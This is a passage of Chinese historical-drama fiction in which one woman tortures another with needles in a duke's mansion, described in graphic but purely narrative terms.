魏紫瞳孔骤缩,一时间说不出话来。 “不想说?”郁颂橘腾出一只手碰了碰魏紫肩膀上没入一半的细针 ,挑了一根喜欢的,往下按,从骨缝之中刺入骨髓。 剧烈的疼痛让地上的人脸色骤然变白,冷汗如雨下。 “也不会叫疼?不疼吗?”郁颂橘伸手拍了拍她的脸蛋,确实保养的很好,软软滑滑的,“没关系,只要不是哑巴,都会发出声音的,我猜,你的这些毒并不足以致你于死地吧?” 那就好好试试,疼会不会疼死人。 纤长的指尖温柔地抚上另一根细针,一点一点地往下按,针尖没有上一根运气那么好,它碰上了骨头,细长的针尖在血肉中被阻力断成几截,细碎地穿透筋络。 一声凄厉的惨叫穿透国公府的上空,吓得门前刚从车上下来的御医止住了脚步。